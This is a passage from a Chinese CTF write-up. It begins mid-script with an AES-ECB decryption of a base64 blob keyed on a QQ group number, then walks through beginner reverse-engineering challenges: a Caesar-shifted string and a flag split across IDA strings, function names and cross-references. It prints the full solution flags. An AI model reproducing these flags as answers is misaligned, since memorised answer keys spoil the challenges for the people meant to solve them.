i9i3hd/IIgrlkygiofpTmBc34UjLRWWFjQgmDQZ8em1hDlVfgd+/93D4BVIn36xgcg2RtYCx2GmXmg5JwRj5pxcBzyOVie5m0U4zHD6Rt0T8GAvCiCf9hhYkBi7lVHe4Sb7op9fpgfXrNunluSOwxS0NlaBKwa1gvE6/BNy2CI2Uv2y4jlPTdIuCNnWbCJsTSczfPJg5PVfyXykQtg4qA/Xsd3t/I+jStXiGGCnKCWoqABdtqk7Z22cIzn0lLw/priteJqeyg6psALOE5HEboNbEbOkupEDq1HXrfGn2CI2Uv2y4jlPTdIuCNnWbCJsTSczfPJg5PVfyXykQtg4qA/Xsd3t/I+jStXiGGCnctoLlIFVYoOgnQM/2Rz5g4eIxaKQoZ+9cRB51n5yxl/BJQA5860fCnVVFSyvS40JdaogrK4AcB+C0gsnUbXVyeX1Kq+MwIHo812Z/0GIAiR+HkJQwgmO7qkogz1vcP4+q7EHUnfXquRurKvZ5jMHz4eIxaKQoZ+9cRB51n5yxl9g/v4Djdoq+YadpY2vIGrZ2CI2Uv2y4jlPTdIuCNnWbDVfnXQwmbz3jY+JyZm4sKgHDLAxJSG/IIAKk2q5C0f6l6L6v86Nra6TiDC3FBOzBEMzapQz6v9XkJfLFhywMtFLbz4PXsEvXiaFbSooHN8xVDDfRmWQyINRSNJguwiY9ElfGZnb6gHT2U5ENwxhxpxW+5Jnwn3zMCBub7HDwqyOSl5l8hKoU5obcdof5SuB3A=='
# qq群号
key = '798794707'
pad_data = chr(0).encode()*(16-len(key))
key = key.encode('utf-8')+pad_data
data = base64.b64decode(data)
aes = AES.new(key, AES.MODE_ECB)
print(aes.decrypt(data).decode())

不是,就挺抽象的,题目描述没什么东西,也没提示,我记得比赛的时候就只有一个一血
看的https://blog.csdn.net/zerorzeror/article/details/138043395
这个key还有AES_ECB就挺脑洞的?这就对上脑电波了?

Have you heard of Malbolge?
https://hasegawaazusa.github.io/malbolge-language-note.html

https://malbolge.doleczek.pl/

Reverse

Reverse 聪明的信使

拖入IDA,main函数里面发现可疑字符串,oujp{H0d_TwXf_Lahyc0_14_e3ah_Rvy0ac@wc!},找加密函数,发现是凯撒密码,秘钥为9
直接找个网站就出了
flag{y0u_know_crypt0_14_v3ry_imp0rt@nt!}

Reverse 喵喵喵的flag碎了一地

提示:

1. Open in IDA and Learn about `Strings` to find the first part of the flag
2. Learn about `Functions` to find the second part of the flag which is the name of a function
3. The hint for the last part is in the function you found in the second part

shift+F12,查找字符串,Flag1:flag{My_fl@g_h4s_
第二步,找函数名,在左侧拉到最上面,Flag2:br0ken_4parT_
提示三,Learn about Xref and Find out which function refers me to get the last part of the flag!
最后一步,学习Xref,按空格,切换视图至

views–>Open subsviews–>Function Call

发现是func718调用了该函数
双击进入该函数,得到Flag3Bu7_Y0u_c@n_f1x_1t!}
FLAG:flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}
好好好,继cnss(应该没记错吧)后又学了一场IDA的使用,基本都差不多